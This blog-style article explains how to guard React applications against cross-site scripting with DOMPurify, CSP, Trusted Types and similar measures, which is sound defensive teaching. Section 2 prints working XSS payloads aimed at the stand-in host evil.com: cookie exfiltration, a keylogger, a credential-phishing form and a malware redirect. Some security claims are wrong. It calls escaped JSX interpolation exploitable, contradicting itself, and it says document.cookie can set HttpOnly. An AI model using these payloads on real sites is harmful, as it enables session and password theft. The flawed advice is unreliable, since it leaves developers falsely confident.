Web applications with ReactJS are popular, powerful and flexible. But this is precisely what makes them a popular target for attackers. One of the most common security vulnerabilities that React developers should keep an eye on is cross-site scripting (XSS). In this article, I’ll show you how you can protect yourself against this – with practical examples that you can incorporate directly into your code.

1 Cross-Site Scripting (XSS) - How does the attack work?
XSS enables attackers to inject malicious JavaScript code into an application. This usually happens through manipulated inputs that are inserted into the DOM by the application without being checked. As soon as a user visits the manipulated page, the code is executed.
Example of an XSS vulnerability in React
Let’s take a look at a simple React code that is potentially vulnerable to XSS:
function UserProfile({ username }) {
return <div>Welcome, {username}!</div>;
}
Here, username
is inserted into the DOM without being checked. If someone sets username='<script>alert("Hacked!")</script>'
, the JavaScript code is executed directly in the browser. This is a classic XSS vulnerability.
How to protect yourself against XSS
1. Never use dangerouslySetInnerHTML
By default, React escapes characters such as <
and >
in JSX so that they are not interpreted as HTML. But as soon as you use dangerouslySetInnerHTML
, you remove this protection:
function UserProfile({ bio }) {
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}
Solution: Avoid dangerouslySetInnerHTML
and use innerText
or textContent
instead to prevent HTML injection.
2. Input validation and escaping
If you save user input, you should sanitize it before displaying it. A proven solution is the DOMPurify library:
import DOMPurify from 'dompurify';
function SafeComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;
}
DOMPurify removes malicious scripts and ensures that HTML is rendered securely.
3. Use Content Security Policy (CSP)
You can use a CSP (Content Security Policy) to prevent the loading and execution of malicious JavaScript. To do this, add the following to your Content-Security-Policy
Header:
Content-Security-Policy: default-src 'self'; script-src 'self';
4. Prevent reflected XSS with secure URL parameters
If you use URL parameters, you should ensure that these are not written to the DOM without being checked:
import { useParams } from 'react-router-dom';
function UserProfile() {
const { username } = useParams();
return <div>{DOMPurify.sanitize(username)}</div>;
}
This ensures that user name values are not interpreted as malicious HTML.
5. Activate Trusted Types
Trusted Types is a modern security function that prevents unchecked character strings from entering the DOM. It can be activated in Chrome:
Content-Security-Policy: require-trusted-types-for 'script';
This allows XSS vulnerabilities to be further reduced.
6. Set HttpOnly & Secure Cookies
If your application uses cookies for authentication, make sure that they are marked with the flags HttpOnly
and Secure
:
document.cookie = "session=xyz; HttpOnly; Secure";
This prevents an XSS attack from accessing the cookies.
7. Use Subresource Integrity (SRI) for external scripts
If you load external JavaScript libraries, you should use SRI to ensure that the code has not been manipulated:
<script src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxX5MkU5P0U6o/5+rtEX2Dx+kp8g+3/"
crossorigin="anonymous"></script>
8. Use Referrer Policy
To prevent sensitive URL data from being leaked to external sites:
<meta name="referrer" content="no-referrer">

2 What happens if XSS protection measures are missing?
1. Data theft through session hijacking
Without protective measures, an attacker can inject malicious scripts to hijack a user’s session. For example, they can use a <script>
tag to read the cookies and send them to an external server:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie);</script>
This allows the attacker to impersonate the user and take over their data or even admin access.
2. Keylogger for passwords and entries
An attacker can also insert a script that reads keystrokes and sends them to an external server:
<script>
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/log?key=' + e.key);
});
</script>
This allows the attacker to steal sensitive data such as passwords or credit card information.
3. Defacing and manipulation of the website
An attacker can change the DOM of the application by inserting malicious content using XSS. For example, they could display fake login forms to trick users into entering their access data.
<script>
document.body.innerHTML = '<h1>Your account has been blocked! Please log in again.</h1><form action="https://evil.com/login"><input type="text" name="user"><input type="password" name="pass"><button>Login</button></form>';
</script>
4. Spread malicious code (drive-by downloads)
Another attack is the automatic downloading and execution of malware via XSS:
<script>
window.location.href = 'https://evil.com/malware.exe';
</script>
As a result, malware can be installed on the user’s computer, which can have enormous consequences for the company.

3. Conclusion: Secure ReactJS applications
XSS can cause enormous damage, from stolen user data to the complete compromise of an application. It is therefore important to implement all relevant protective measures:
✅ Do not write any unchecked entries to the DOM (especially by dangerouslySetInnerHTML
)
✅ Use DOMPurify or similar libraries
✅ Activate CSP to block scripts from third-party providers
✅ Use secure URL parameters and validate entries
✅ Set HttpOnly & Secure Cookies to make XSS attacks on sessions more difficult
✅ Activate Trusted Types to further reduce the attack surface
If you need a professional security audit of your React application, you can find experts on our cyberphinix marketplace for information, IT and cyber security. They will help you uncover vulnerabilities before an attacker does. 💡
Further Resources: